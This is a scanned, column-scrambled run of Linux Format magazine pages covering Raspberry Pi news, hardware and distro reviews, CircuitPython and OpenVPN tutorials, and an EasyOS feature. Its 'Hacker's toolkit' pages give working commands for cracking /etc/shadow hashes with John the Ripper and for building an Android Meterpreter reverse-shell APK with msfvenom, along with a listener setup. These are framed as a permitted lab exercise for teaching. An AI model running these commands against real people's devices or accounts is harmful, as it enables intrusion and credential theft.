to interrogate the headers Home routers (or other should ensure that it’s not by the whole world. In some
from this service (or any local devices) won’t typically publicly accessible. Most cases this is intentional (such
webserver, but we’ve warned use encrypted transport modern systems implement as town centre webcams),
you about this). This might (HTTPS) due to certificate password or device but in others, where you can
give us some idea of whether limitations, but all remote authentication, but many take full control of the
it is vulnerable to known machines should. Indeed, any older models do not. Or their camera, it is clearly not.

www.techradar.com/pro/linux April 2024 LXF313 35


Hacker’s toolkit

Cracking passwords
Learn some good password hygiene and use John the Ripper
to compromise those who don’t bother.

eople and passwords were never a good mix. passwords ensure that even if two users have the

P Users continue to reuse passwords (or use


easily guessed variations of them). Site
same password, the stored image of it is different. So,
anyone trying to crack a bunch of salted and hashed
admins (or the software that runs their sites) are passwords stolen from a database breach doesn’t get
generally good at no longer storing passwords in plain access to several accounts if they find one careless
The unofficial text. Instead, hashed passwords (where an easy-to- user using password1. Unfortunately, advances in CPU
John the Ripper apply but hard-to-reverse function is applied to the and GPU tech mean that such hashes can be brute-
logo, which you
password) are stored so that nosy sysadmins can’t see forced at several million attempts per second.
can get on a
T-shirt if you your password. We should also note most sites have This is why guidance on password length has gone
want to support stringent (sometimes pointlessly so) requirements on from eight characters (around 50 bits of entropy if you
the project. length, capitalisation and special characters. want to get technical) a decade ago to sites mandating
Besides hashing, it’s de rigueur to store a random 12 characters (80 bits of entropy) today. We couldn’t
‘salt’ value alongside the password and use both as have this discussion without first referring you to
inputs of the hash function. These hashed and salted https://xkcd.com/936. That should illustrate why most
people are bad at passwords, and why you should use a
passphrase or trust your password manager instead.
An attacker isn’t going to get far if they start trying
to brute-force credentials directly into a website. That
site should notice all the failed attempts and block the
chancer’s IP for a period of time. Instead, attackers rely
on exfiltrated lists of usernames and password hashes
that they can bang hardware against with impunity.
To help with password-cracking, Kali Linux includes
the popular RockYou wordlist, a compressed text file
containing some 14 million words. Password crackers
such as Hashcat or John the Ripper (see the box,
below) can use this or other wordlists either directly
This classic xkcd (in wordlist mode) or by combining different words
sketch describes
password strength
and applying common mutations (such as exchanging
much better than number 0 for letter o). This latter more powerful mode
we can. is known as dictionary mode.

INTRODUCING JOHN THE RIPPER


John the Ripper is a from another OS. On user password, but let’s Now we can rerun the
popular password modern systems try to break it anyway. incantation to extract
cracker that comes in (including Kali), the First we’ll extract the the hash for the new
many versions and can Yescrypt algorithm is relevant line from /etc/ bob user as we did for
operate on all kinds of used, but previously shadow, then, since it’s the kali user above,
password hashes. We’ll SHA512 was the default so short, brute-force it but this time we
start with a simple, and, going further back, (sans wordlist) with: decompress and use
trivial example. On the (now broken) SHA-1. $ sudo grep kali /etc/ our wordlist with:
Linux, hashed If you do some online shadow > hash.txt $ sudo gunzip /usr/
passwords for user searching, you’ll see that $ john --format=crypt share/wordlists/
accounts are stored in Yescrypt isn’t supported hash.txt rockyou.txt.gz
the file /etc/shadow, in Hashcat (primarily You can have a go $ john --format=crypt
which needs root because Yescrypt at cracking a more –wordlist=/usr/share/
privileges to access doesn’t lend itself to complex password and wordlists/rockyou.txt
CREDIT: xkcd.com

from its native OS, but is GPU-cracking). It does using rockyou.txt by hash.txt
(in the absence of some work in John the Ripper, creating a new user: Turns out that bob123
sort of disk encryption) though, so let’s have a $ sudo useradd bob wasn’t much of a strong
very easy to access go. We know the kali $ passwd bob password. Dang.

36 LXF313 April 2024 www.linuxformat.com


Hacker’s toolkit

Accessing Android
Most web browsing and ever more general net usage is happening
on mobile devices. Let’s see if we can break into one.

o finish this journey, we’ll show you how connections. When it’s ready, the prompt

T mobile devices can be hacked by rogue apps.


In fact, we’ll use Metasploit to craft our own
changes to msf6 > . Then use the multi-
handler to prepare our shell, again
back door, and show how this provides remote access substituting your IP address:
to the device. Metasploit Framework (the proper name use multi/handler
for the non-commercial edition) is an essential part of set payload android/meterpreter/reverse_tcp
any hacker’s toolkit, and it would be remiss of us not to set LHOST 192.168.122.125
mention it. Among other things, it automates testing set LPORT 4444
for known vulnerabilities, and allows payloads that exploit
exploit such vulnerabilities to be generated. As you Our machine is now waiting for the
would expect, it’s installed and ready to go in Kali. target machine to connect. To do that,
The component of Metasploit Framework that we need to get the malicious APK file
generates payloads (the rogue code attackers want to installed on the target. In our scenario
run on target devices) is called MSFvenom. We’ll use it (where the target device is under our
to create a reverse shell, so the target device will control), we can do this by uploading the
phone home to our machine and give us a remote shell, file directly to it (over USB or Bluetooth,
like a backwards SSH connection, hence the name. although you’ll find Android makes this
Metasploit has already done the hard work for us and difficult) or using a file-sharing service. We
coded its own reverse shell, named Meterpreter. So used our Nextcloud instance to host it and
we’ll go ahead and package that up as follows: Android curtly told us it didn’t trust installing apps from You can’t fault
$ msfvenom -p android/meterpreter/reverse_tcp this source, but then gave us the option to allow it. Android for making
it abundantly clear
LHOST=<your IP> LPORT=4444 > hacker.apk Next came the warning showing all the permissions
when apps may be
Substitute your machine’s IP, not the target device’s, our naughty MainActivity APK wanted (pretty much all up to no good.
in the HOST argument. We’re assuming that the target of them). And when we allowed it to proceed anyway,
device is on your local network and, of course, that we received a scary notice from Google Play Protect
you have permission to do what you’re about to do. saying the app may be harmful. Like fools, we tapped
MSFvenom can produce payloads for all OSes, and in Install Anyway. The app disguises itself as a simple
this case it’s smart enough to deduce that we want an activity planner, but as soon as it starts, it attempts
Android one (written in Dalvik) from the file extension. to connect to the reverse shell we have waiting. From
Now launch the Metasploit console with msfconsole there, you can type help to see all the no-good things
so we can prepare our Meterpreter shell to listen for you can do with the compromised device.

REAL-WORLD HACKING
It’s not exactly realistic people might just let Visit https://
to suppose anyone their guard down. cveshield.com
to see which
would really wave away Humans are generally vulnerabilities
all the installation the weakest link. They are currently
warnings and jump can be tricked, as above, being exploited
through all the hoops or financially obliged to in the wild.
we did to get the become an initial access
MainActivity app broker (IAB). IABs sell
installed. You might be credentials that may not
surprised, though. If even be particularly
rogue apps are suitably privileged, but allow due to vulnerabilities in sometimes exploit
disguised (as a cheat attackers an initial entry software, too [software code escapes early
for a mobile game, for to the target network. A that was written by (such as ShellShock
instance), or some sort of beach head from humans – ed]. Security or Log4j), and it
social engineering is which more advanced researchers work hard becomes a race against
used (pretending to attacks may be used. to find these and time for software to be
be the target’s angry It’s not all our fault, responsibly disclose patched and users to
boss or sysadmin), some though; attacks happen them to vendors. But update that software.

www.techradar.com/pro/linux April 2024 LXF313 37


Pi USER
Raspberry Pi supports Les Pounder
works with groups

T Level students
such as the
Raspberry Pi
Foundation to help
boost people’s
maker skills.

“What’s a T Level?” we hear you ask. Don’t RASPBERRY PI


worry, we didn’t know either… GOES PUBLIC
ntroduced for the academic year in first time the Pi Foundation has created Raspberry Pi Ltd is preparing for

I 2020, a T Level is a post-GCSE


qualification, broadly equivalent to
resources for post-16 vocational education.
A raft of curriculum materials has
an IPO (initial public offering) on
the London Stock Exchange.
three A Levels. Developed with educators been created under the topic of digital This isn’t its first attempt – there
and employees, they’re crafted to meet the environments, which covers computer was a previous effort in 2021, but
needs of industry, preparing students for system hardware, software, networks and that was in the midst of a global
skilled employment, apprenticeship or cloud environments. Designed for teachers chip shortage and a pandemic.
technical study in higher education. to use in the classroom, these are complete Its latest attempt is via bankers
Working with the Gatsby Charitable units of work with lesson plans, slide decks, Peel Hunt and Jefferies, and
Foundation on a pilot programme, this is the activities, a progression chart and could see the company, valued at
assessment materials. around $560 million, offering
CREDIT: Gatsby Technical Education Projects

The Pi Foundation’s research stakes for the general public.


while working on the programme The ownership of Raspberry
found a relatively low number of Pi already sees some private
school-age people starting investors: the Raspberry Pi
apprenticeships in the UK in Foundation (the charity and
2019/20. For example, a 2021 educational arm), Sony (which
Worldskills UK report stated that bought a minority stake in late
only 18% of apprentices were 2023) and Arm. By offering
aged 19 and under; 39% were shares in the company, many
19-24; and the remaining 43% others, including the general
were people aged 25 and over. public, could grab a slice of Pi.
For details and links to materials: Tom’s Hardware (https://bit.ly/
The first raft of teaching materials to support T Levels is out. https://bit.ly/lxf313tlevel lxf313pi) asked Raspberry Pi
CEO Eben Upton if the IPO would
have any influence over the
direction of Raspberry Pi

Pico Ethernet PiWings 2.0 products and business, and he


said that he “does not anticipate
any changes to what Raspberry
Wired networks. Cleared for lift-off. Pi Ltd does”. He also explained
that the Foundation would be
Take an RP2040 SoC, cook up a custom A fresh Kickstarter campaign has taken off able to use the money raised
PCB, splice together a one-of-a-kind USB-C for a Pi Pico-powered drone, as well as an to do more at a larger scale.
cable and behold – a fancy custom Pico clone ESP8266-12E module that offers wireless The IPO does have some in
that sports Ethernet networking over the features for setup and POV glasses. With the Pi community a little worried.
USB-C cable! From stalwart Pi project master support for four to six motors, LED lighting Shareholders tend to influence
Alan, you can find out more here: https://bit. and USB-C charging, you can read more product decisions, so we could
ly/lxf313net details here: https://kck.st/42F4DnW see that impact the product
range. Upton does not anticipate
Sometimes this being the case, so for now,
you just we have to take him on his word.
want a wire. Choosing London doesn’t
mean Raspberry Pi can’t attract
US investment; Upton states
that Raspberry Pi is prepared
to “educate foreign investors”.
Whatever comes from this IPO,
we’ll be watching with interest.
Offering new and exciting ways to crash.
CREDIT: Alan CREDIT: SB Components

www.techradar.com/pro/linux April 2024 LXF313 39


REVIEWS Linux distribution

MX Linux 23.1 Pi
Les Pounder spends all day tinkering with Raspberry Pis and
the latest MX Linux has got him in a spin.
hile Raspberry Pi OS is the
IN BRIEF
A Raspberry Pi
W official – and, for many, default –
OS, there are alternatives. MX
OS alternative Linux has released the MX 23.1 Raspberry
based on Pi OS respin for the Raspberry Pi 4, 400
Debian and the new flagship 5. We tested it on a
Bookworm, it Raspberry Pi 5 with 8GB of RAM, and
offers a refined after flashing a fast microSD card, we
desktop booted to a harsh-looking setup screen.
experience By harsh we mean small white text on a
but without black background. It made our eyes go a
the bloat. bit weird, but we managed to configure
Everything is our system ready for the first boot.
easy to find and On boot, we are greeted with a login
we can use the screen, then we get access to the glorious This clean and tidy desktop holds a plethora of great apps and performance for your Pi.
OS for watching MX Linux desktop. In the top-right we get
media, writing back system details (disk usage, CPU temp and mean? It means MX Linux has parity with Raspberry
code or memory usage) and the time and date. To the left is the Pi OS, and if you are using a Pi 4, you are good to go.
browsing main menu and system tray. From here we can quickly What about the camera? We can confidently state
the internet. open network settings, Bluetooth and so on, and via that the two cameras that we tested, a V1 and a new
Designed for the MX Linux in the bottom-left, access the main V3 with auto-focus, work. There is no preview window
the Raspberry menu. Connecting to our Wi-Fi was a simple task enabling us to frame a shot, but we can take pictures
Pi 4 and thanks to the Network Manager. Ethernet just worked, and video with the camera on a Raspberry Pi 4 and 5.
upwards, MX as it should. Bluetooth connections to mobile devices The Raspberry Pi 5 introduced a dedicated PCIe
Linux benefits were easy and we soon had files copying across. connection for devices such as NVMe SSDs. While
from the The main menu is split into categories, like many the official M.2 board is still on its way, others have
speed of the other OS choices. We have an MX Tools section, which made their own versions. Using Pimoroni’s NVMe
Raspberry Pi 5. contains useful tools for disk management and system Base, we installed MX Linux to an NVMe SSD and
config. Installing applications is a breeze – after all, we booted. It was much faster than microSD and well
are using a Debian Bookworm-based system – so there worth the extra effort.
are tools to install apps using the GUI and terminal. In general use, MX Linux feels snappy on microSD
As this respin is made for the Pi, we tested a few and NVMe. The OS is light, but feels complete. It could
key features: GPIO, camera and, for the Pi 5, NVMe be a viable alternative to Raspberry Pi OS. YouTube
SSDs. First, the GPIO. The Pi 5 altered how the GPIO video playback is decent; 1080p at 30fps is solid, with
works (using the RP1 chip as a bridge to the GPIO), some hardly noticeable dropped frames. At 60fps,
which means we can’t undertake a full test. Instead though, we get around 40% dropped frames, but
we opted to use GPIO Zero to control an LED. That that is common on all Raspberry Pi OS choices.
worked well, but the test couldn’t be replicated using We enjoyed our time with MX Linux. It looks great,
RPi.GPIO, a Python module that’s key to many runs well, even on the low-spec Pi 4, and it would make
Raspberry Pi HATs. The RPi.GPIO issue is a mixture of a great OS for general use and programming.
RP1 and new guidelines on externally managed Python
environments (PEP668). We ran the same tests on a Pi
4 and everything worked as it should. What does this
VERDICT
DEVELOPER: MX Linux
WEB: https://mxlinux.org
LICENCE: Mixed

FEATURES 8/10 EASE OF USE 9/10


PERFORMANCE 9/10 DOCS 9/10
1080p playback at
30fps is great, but Lightweight and easy to use, it has a few flaws inherited
60fps sees a 40% from Raspberry Pi OS, but don’t be put off this great OS.
drop in frames and
some stuttering.
This isn’t MX Linux’s Rating 9/10
fault, though.

40 LXF313 April 2024 www.linuxformat.com


Storage REVIEWS

NVMe Base Pi 5
Everyone, says Les Pounder, is based, especially regarding Pimoroni!

aspberry Pi is putting the finishing touches on


IN BRIEF
A convenient
R its official M.2 HAT boards for the Raspberry
Pi 5. While we wait for the official boards, Pi
way to add retailer Pimoroni has its NVMe Base, a lovely slice of
some super- PCB. Its simple monochromatic silk screen belies how
speedy NVMe useful this little board can be.
storage to your Straight off the bat, this is another classic Pimoroni
Raspberry Pi 5. design. A clear and simple silk screen tells us which
NVMe drive sizes we can use, and confirms where we
should connect the drive and the ribbon cable between
SPECS the Pi 5 and the NVMe Base.
PCIe: PCIe x1 There are M2.5 holes that match the HAT footprint
Gen 2 & 3 of the Raspberry Pi 5, and mean we can mechanically
M.2: 2230, connect the two using stand-offs. Everything you could want for attaching an SSD to your Raspberry Pi 5.
2242, 2260, Because the board connects to the underside of the
2280 Raspberry Pi 5, it means that any of the best Raspberry supported, but Gen 3 performance has been solid for
PSU: Via FPC Pi cases do not fit. Pimoroni will most likely release an NVMe Base and Pineberry Pi boards. (See table.)
Size: 85x56mm updated Pibow case but, for now, your Raspberry Pi 5 The humble microSD card managed 90.5MB/s read
will have to rough it. and 30.8MB/s sequential write. We used a 4TB Lexar
NM790 PCIe Gen 4 SSD as our benchmark drive. The
Stand-off and deliver! conclusion of this test is that at the official Gen 2 speeds,
Assembly is straightforward, but we would make the NVMe Base and Pineberry Pi’s HatDrive are an even
PCIe connection before connecting the stand-offs. We match (using the same drive). Tweaking the config and
lost some time with a slightly off connection, causing us running at Gen 3 provides the best speeds, of course,
to doubt that our NVMe SSD was working correctly. but NVMe Base just squeezes a bit more from the drive.
Let’s start with the boot time. The microSD boot NVMe SSDs on the Raspberry Pi are nothing new,
time for a Raspberry Pi 5 is 21.28 seconds. This speedy but in the past we had to use a USB 3 to NVMe (or
boot time is powered by the Raspberry Pi 5’s SDR104 SATA) adaptor. This took away a USB 3 port and limited
compatibility, which means microSD cards that follow us to USB 3 bandwidth and the losses involved from
this standard see a significant boost in performance. conversion. With dedicated PCIe on the Pi 5, we have
So, how does the NVMe Base compare? Our boot time much faster drives, and access to very cheap storage.
was 16.79 seconds (at Gen 3 speed). Compare this to Pimoroni’s NVMe Base is a cost-effective means to
Pineberry Pi’s HatDrive best time of 16.56 seconds and add NVMe storage to your Pi 5. After we overcame the
we can see that there is nothing between them. NVMe config issues (present in every NVMe board we
For the read tests, we used dd to read the contents have tested), we have a reliable and unobtrusive board.
of the drive and write to /dev/null. This gives us a raw It is a tough choice between the NVMe Base and
speed value. For write speeds, we used Raspberry Pi Pineberry Pi’s HatDrive boards. It boils down to where
diagnostics to provide us with the sequential write you are in the world. The speed difference between the
speeds. The tests were completed for Gen 1, 2 and two is most noticeable at Gen 3 speeds, and while it isn’t
3 speeds. Note that officially only Gen 1 and 2 are officially supported, it does work extremely well.

Benchmarks Pimoroni HatDrive VERDICT


NVMe Base Bottom (2280)
DEVELOPER: Pimoroni
PCIe Gen 1 Read 235MB/s 235MB/s WEB: https://shop.pimoroni.com
PCIe Gen 1 Write 194.5MB/s 194.5MB/s PRICE: £13.50

PCIe Gen 2 Read 416MB/s 469MB/s FEATURES 8/10 EASE OF USE 8/10
PCIe Gen 2 Write 380.9MB/s 383.2MB/s PERFORMANCE 9/10 VALUE 8/10

PCIe Gen 3 Read 876MB/s 863MB/s A solid performer and well worth the money but it is picky as
to which NVMe drives can be used, so do your homework
PCIe Gen 3 Write 761.9MB/s 719.1MB/s
before making the investment.
MicroSD Read 90.5MB/s

MicroSD Write 30.8MB/s


Rating 8/10

www.techradar.com/pro/linux April 2024 LXF313 41


TUTORIALS Amplifiers

Pi PRANK BOX

Scare your enemies


with a Pi prank box
Yes, Les Pounder is very scary, but buying OEP3W amplifiers from
AliExpress is worse. He wonders what pranks he can pull with them…

he Raspberry Pi Pico is an exceptionally

T cheap and resourceful little board. For


£4, we get a powerful microcontroller
and plenty of GPIO pins. With a few extra
components, we can build all manner of
fun projects. In this tutorial, we’re using
OUR CircuitPython, a version of Python for
EXPERT microcontrollers, to play MP3 files. We need an
Les Pounder amplifier, and the OEP3W at £2 from AliExpress,
is associate will do the job. But we’re not making a music
editor at Tom’s player. Instead, we are using a sensor to detect
Hardware and a movement and trigger an alert sound to play.
freelance maker Scaring away friends, family or next door’s cat. With very few components, we can create a motion-triggered audio player.
for hire. He blogs We’ll go through how to wire up the circuit
about his using a breadboard, then write the code to make it connects to a speaker. We used a spare laptop speaker
adventures and work. We’re using a Raspberry Pi Pico W in this build, that we hacked. You can find cheap speakers online.
projects at chiefly because we had one to hand, but a £4 Pi Pico See the schematic in the download – it explains
http://bigl.es. would be a cheaper and better option. where each connection goes and you can easily trace
the connections. Take one section at a time.
Building the circuit Connect the Raspberry Pi Pico to your computer
There are two key parts of the build: the PIR sensor while holding the BOOTSEL button. This forces the
(input) and the speaker (output). Pico into bootloader mode and a new drive, RPI-RP2,
The PIR (passive infrared) sensor has only three appears in the file manager. Open a browser to https://
connections: VCC, GND and Data/OUT. VCC connects circuitpython.org/board/raspberry_pi_pico/ for the
to the 5V (VBUS) pin on the Pico. GND connects to any Raspberry Pi Pico or https://circuitpython.org/board/
GND pin on the Pico. Data/OUT connects to GP2 on raspberry_pi_pico_w/ for the Pico W. Download the
the Pico. And that’s it. Your PIR sensor may be a little latest stable version of CircuitPython for your Pico.
sensitive, so you can either tweak the potentiometer, From the Downloads folder, copy the CircuitPython file
hidden around the back, or use a paper cup or funnel to (a UF2 firmware image) to the RPI-RP2 drive. After a
restrict its vision. few moments the drive disappears and is replaced with
YOU NEED The output pins for the speaker are GP0 (SP+) and CIRCUITPY. This is where we’ll write the project code.
Pi Pico GND. But GP0 is routed through a 10K potentiometer Open your favourite text editor. We chose Thonny
or Pico W (a trimmer pot in our build), which acts as a basic as it can work directly with CircuitPython devices.
OEP3W volume control. One side of the potentiometer Create a new file and start the project code by
amplifier connects to GP0, the other to GND. The centre importing a series of modules. The first is time, used to
Speaker leg connects to SP+ on the amplifier. Turning the control the speed at which the project code loops. Next
Half potentiometer changes the volume level. Turning we import board and digitalio. These enable our code
breadboard clockwise should increase the volume. If not, swap to interact with the GPIO, reading and changing the
PIR sensor the GP0 and GND connections at the potentiometer. GPIO pin status as needed. Finally we have audiomp3
10K pot The OEP3W is a tiny yet powerful amplifier. You and audiopwmio, used to create audio via the GPIO.
9x M2M need to solder up the pins; we soldered them so the import time
jumper wires board could be used in a breadboard. The OEP3W import board
Code: requires power, from the Raspberry Pi Pico W, input import digitalio
https://bit.ly/ audio (SP+ connects to the centre pin of the import audiomp3
lxf313pitut1 potentiometer, SP- to GND on the Pico) and then it import audiopwmio

42 LXF313 April 2024 www.linuxformat.com


Amplifiers TUTORIALS

Our next task is to set up the


GPIO pins for the sensor and audio.
We create an object called sensor
and use that to set up GP2 as an
input. Using an internal resistor on
the GPIO pin, we pull GP2 down,
essentially turning the pin off
(0 volts). Then we create another
object, audio, and tell the code that
our speaker is on pin GP0.
sensor = digitalio.
DigitalInOut(board.GP2)
sensor.switch_to_
input(pull=digitalio.Pull.DOWN)
audio = audiopwmio.
PWMAudioOut(board.GP0)
The next object, decoder, loads
an MP3 for playback. This needs to be saved to the The next loop only runs when the audio is playing. It The key parts of
root of CIRCUITPY. We used Audacity to create an essentially checks that the audio is playing. If so, the this build are the
sensor, speaker
MP3 alert sound. We followed Adafruit’s guidance: loop goes around and checks again. This is here to
and amplifier. The
“Mono and stereo files less than 64kbit/s work, with ensure that the alert sound plays through without Pico acts as the
sample rates from 8kHz to 24kHz. The RP2040 has a retriggering or overlapping. glue to join them
PWM output with 10 bits, so there’s not much point in while audio.playing: all together.
using high bit rates.” We made a mono MP3 at 24kb/s. pass
decoder = audiomp3.MP3Decoder(open(“alert-tone. The last section of code is a simple else conditional,
mp3”, “rb”)) which prints that the alarm is in standby mode, waiting
Now we move to the main loop. This runs as long as to trigger. Outside of the conditional loop, but inside The OEP3W
the Pico is powered. Its first task is to print the status the while True loop, we pause the code for 0.5 seconds amplifier is bought
in packs of five
of the alarm pin, GP2. The PIR sensor has a default to reduce the workload of the microcontroller.
for £2 to £3. We
state of HIGH, so the pin reports TRUE. else: put one inside a
while True: print(“ALARM STANDBY”) toy chainsaw for
print(sensor.value) time.sleep(0.5) Halloween.
If the sensor is triggered, then the status changes Save the code as code.py to the Pico.
to FALSE, and this is where a conditional test runs a This triggers the board to reboot and the
section of code. alarm is ready for testing. Wave your hand
if sensor.value == False: in front of the sensor, or ask a friend to
When the alarm is triggered, the code prints walk in front of it. The alarm sounds and
a message to the Python Shell – this is more for scares your victim.
debugging issues than general use. It then plays the The project can be removed from your
MP3 alert sound. computer and powered with a USB power
print(“ALARM TRIGGERED”) bank. Connect the Pico to the power bank
audio.play(decoder) and hide the sensor from sight.

CIRCUITPYTHON 101
Les was first introduced to CircuitPython (module) system eliminating the need audience. We’ve even got a Lego Minifig
by Nicholas Tollervey and Scott for complex setups. that runs CircuitPython
Shawcroft at PyCon in 2018. After CircuitPython’s greatest strength CircuitPython’s ease of use and ability
taking part in lessons with Kattni lies in its compatibility with a variety to be used in rapid prototyping makes it
Rembor, he was hooked. CircuitPython is of microcontroller and SBC boards, an excellent choice for those new to
an open source programming language offering a versatile platform for programming and electronics. Its
based on MicroPython. However, electronic projects. Initially developed beginner-friendly approach, combined
CircuitPython has been specifically for Adafruit’s own line of microcontroller with a thriving community and ample
designed for beginners and educators boards, such as the Feather and Circuit documentation, encourages creativity
to learn and experiment with electronics. Playground series, CircuitPython has and experimentation in the world of
It was created by Adafruit Industries in since expanded its support to a broader physical computing. CircuitPython has a
2017. CircuitPython simplifies the range of hardware. Popular boards such plethora of great tutorials, but Adafruit’s
process of programming as Arduino, Raspberry Pi and numerous own guides are hands down the best in
microcontrollers by employing a others now also run CircuitPython, the business. Head over to https://bit.ly/
straightforward syntax and library broadening its accessibility to a wide LXF313circuitpython to learn more.

GET YOUR Pi FILLING HERE Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux April 2024 LXF313 43


TUTORIALS Privacy

OPENVPN
Credit: https://openvpn.net

Enhance your Pi-vacy


A man who likes to keep himself to himself, Christian Cawley explains
how to keep online activity private when using a Raspberry Pi.

t’s fair to say that

I there is never enough


tinkering to be done
with a Raspberry Pi. You can
upgrade the SD card, add
external storage, buy a case, and
OUR with the latest models, add a
EXPERT cooling solution. You also have
Christian Cawley the option of a multitude of
has been operating systems, from
breeding Raspberry Pi OS to media
Raspberry Pis centres, cloud storage solutions,
since 2012, and home servers, retrogaming
following the platforms and pretty much Install OpenVPN to begin setting up secure, private connections via most third-party VPN services.
successful anything else you can think of.
introduction of a A few of these uses might lend themselves to purposes, we’ve used a Raspberry Pi 4 with 8GB RAM,
Raspberry Pi 4 employing a VPN. Encrypted connections via a secure running Raspberry Pi OS Bookworm.
8GB, has recently server hosted by a reputable name are increasingly
welcomed a popular since the lockdown years initiated a work- Private Pi
Raspberry Pi 5 from-home revolution (for which, we imagine, this OpenVPN was launched in 2001 and has become an
into the family. author must be some sort of pioneer, having started in integral part of VPN. It has been implemented both in
2011) and necessitated secure connections to work local servers and as a component of popular VPN
computers (and revealed just how unprepared services; it is this particular use that we can take
corporate IT departments were). advantage of as Raspberry Pi owners interested in
Indeed, given how more capable the Raspberry using a commercial VPN. Need to access Netflix’s US
Pi 4 and 5 are as desktop systems, it’s fair to wonder library from Leamington Spa on your Raspberry Pi?
whether they can handle a VPN. Well, yes they can – That’s something that OpenVPN can facilitate, and
either using the OpenVPN standard, or setting up a while you need a VPN subscription, you don’t need to
dedicated (closed source) Linux app on the ARM- rely on an app. This is useful, because while some
based computer. VPNs offer Raspberry Pi-compatible software, most
Setting up an OpenVPN connection to your VPN don’t. If you’ve ever set up a router with OpenVPN
on a Raspberry Pi is straightforward. It can be done (perhaps after flashing DD-WRT), the process for
either with the computer connected to a keyboard and connecting to a VPN on Raspberry Pi is similar.
monitor, or via SSH. A word of warning before proceeding: not all
Ensure a reliable network connection is established commercial VPN providers support offering OpenVPN
first; older Raspberry Pis with slower Wi-Fi benefit access to customers. Two that do, happily, are two of
from relying on Ethernet instead. For demonstration the most popular: ExpressVPN and NordVPN.

BEYOND PRIVACY
VPNs have several additional benefits. encrypted data – that looks like static – Wi-Fi, but did you know that using
For example, ISPs throttle certain types and, as such, typically leaves it alone. a VPN can save you money when
of internet traffic, but this is less likely if And it doesn’t end there. Using a shopping or booking a holiday? It
the traffic is encrypted. A system called reputable VPN with up-to-date servers seems certain popular websites set
traffic shaping dictates how streaming minimises any speed loss, as well as prices based on your browser location.
and online gaming is deprioritised in proving beneficial in a number of Changing to an overseas VPN server
favour of business and banking data. scenarios. You probably know that a when shopping online can save a few
But traffic shaping cannot determine VPN is recommended for use on public quid and even pay for itself.

44 LXF313 April 2024 www.linuxformat.com


Privacy TUTORIALS

ExpressVPN offers individual Sometimes, IPv6


OVPN configuration files for each must be disabled.
Edit the sysctl.conf
server; NordVPN offers the entire
file to disable the
collection of servers as a ZIP file. internet protocol
These can then be used with and instead
the OpenVPN tool to connect to a rely on IPv4.
specific server.
Other VPNs with support for
users to access OpenVPN will
have their own system of offering
configuration files. Check the
corresponding help pages for your
own VPN.
Before proceeding, ensure you
have a free account, or subscription/
trial access, to a VPN with accessible
OVPN configuration files.

Set up OpenVPN setup credentials from your account page need to be


To get started, you may need to disable IPv6. This entered; these differ from the account login details.)
depends on your VPN provider, so check their VPNs, or
requirements or help pages. Use a VPN client virtual private
If this is the case, either in a local or SSH command An number of VPN providers offer a Pi desktop client. networks,
line, enter: While it is interesting to get an idea of how VPN provide an
$ sudo nano /etc/sysctl.conf software works at the terminal level with OpenVPN, a encrypted
At the bottom of the conf file, add these lines: dedicated app can save time. In most cases, these are ‘tunnel’
net.ipv6.conf.all.disable_ipv6=1 the standard build for Linux Debian-based OSes. through which
your online
net.ipv6.conf.default.disable_ipv6=1 For example, NordVPN offers a terminal app that
communications
net.ipv6.conf.lo.disable_ipv6=1 avoids having to mess around with OPVN files. It also
can pass, beyond
net.ipv6.conf.tuno.disable_ipv6=1 features very simple commands, such as nordvpn c to the attention
Exit the file with Ctrl+X to save, then Y to confirm connect to the nearest server. Connecting to a specific of ISPs (and,
the choice. Now that IPv6 is disabled, you’re free to server is also possible, either by city – nordvpn c Paris potentially,
install OpenVPN: – or by use. more sinister
$ sudo apt install openvpn NordVPN has dedicated servers for BitTorrent, observers).
Use sudo reboot to restart the Pi when this has Onion, and even double VPN use, for extra-secure
completed, then switch to the /openvpn directory: connections. Displaying what server groups are
$ cd /etc/openvpn available reveals options here:
If you haven’t done so already, download the $ nordvpn groups
OpenVPN files. As noted, they should be accessible To connect to a server for encrypted P2P, for
via your VPN provider’s help pages. They can be example, use:
manually downloaded via the browser, using wget, $ nordvpn c P2P
Trustworthy
or even downloaded to another PC and then copied Note that GUI clients (ProtonVPN offers one,
VPN providers
across to your Raspberry Pi. as does Private Internet Access) run better on a offer OpenVPN-
As our personal favourite, we use NordVPN. To grab Raspberry Pi 3 or later. They’re unsuitable for the compatible
its OVPN configuration files, we used: original Pi and Pi 2 models, where you should rely on configuration files
$ sudo wget https://downloads.nordcdn.com/configs/ terminal apps and the OpenVPN tool. for download.
These are loaded
archives/servers/ovpn.zip Finally, note that OpenVPN is also a VPN service. in OpenVPN to
The next step is to unzip the files and identify the With a subscription, you can use its servers, located establish secure
ones you want to use: across the developed world. VPN access.
$ sudo unzip ovpn.zip /
Take a moment to review the contents of the
unzipped ovpn_udp directory with the ls -al command.
Server files are listed here, prefixed with the familiar
two-letter national identifiers: UK, FR, US and so on.
Once you have identified the VPN server you wish to
connect to via OpenVPN, input:
$ sudo openvpn your_ovpn_configuration_file.ovpn
Enter your username and password when
prompted, and the VPN connection should be
established. Note that other VPN services may
require the credentials to be entered at a different
stage; for example, in a file. (With NordVPN, manual

GIVE US ALL YOUR DETAILS… Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux April 2024 LXF313 45


IN DEPTH EasyOS

THE

PAW-FECT
DISTRO!
Nick Peers can hardly ‘container’ himself after taking the Puppy
Linux developer’s new distro for a good run off the lead.
hen Barry Kauler first launched Puppy serves as a test bed for concepts that could one day

W Linux back in 2003, he can’t have imagined


just how far his tiny distro would travel over
the following 20 years. Renowned for its
find their way into more mainstream distros, including
the ability run any app in its own container. You don’t
even need a spare hard drive or partition to run it.
tiny pawprint – Puppy is a great choice for older and
low-powered PCs – the distro is also well known for the Woof, woof!
dozens of variants that it’s spawned. There are official EasyOS’s woofQ build system is a collection of scripts
variants based on various versions of Ubuntu, Raspbian that stitches the OS together from scratch. Up until
and Slackware, as well as unofficial variants known as September 2023, you could technically use woofQ
puplets, remasters that spin Puppy Linux in all kinds of to build both Puppy Linux and EasyOS’s predecessor
different directions. And then there’s EasyOS. Quirky Linux, but it now focuses exclusively on building
In 2013, Barry Kauler stepped down from EasyOS and derivatives. Like all woof-based systems,
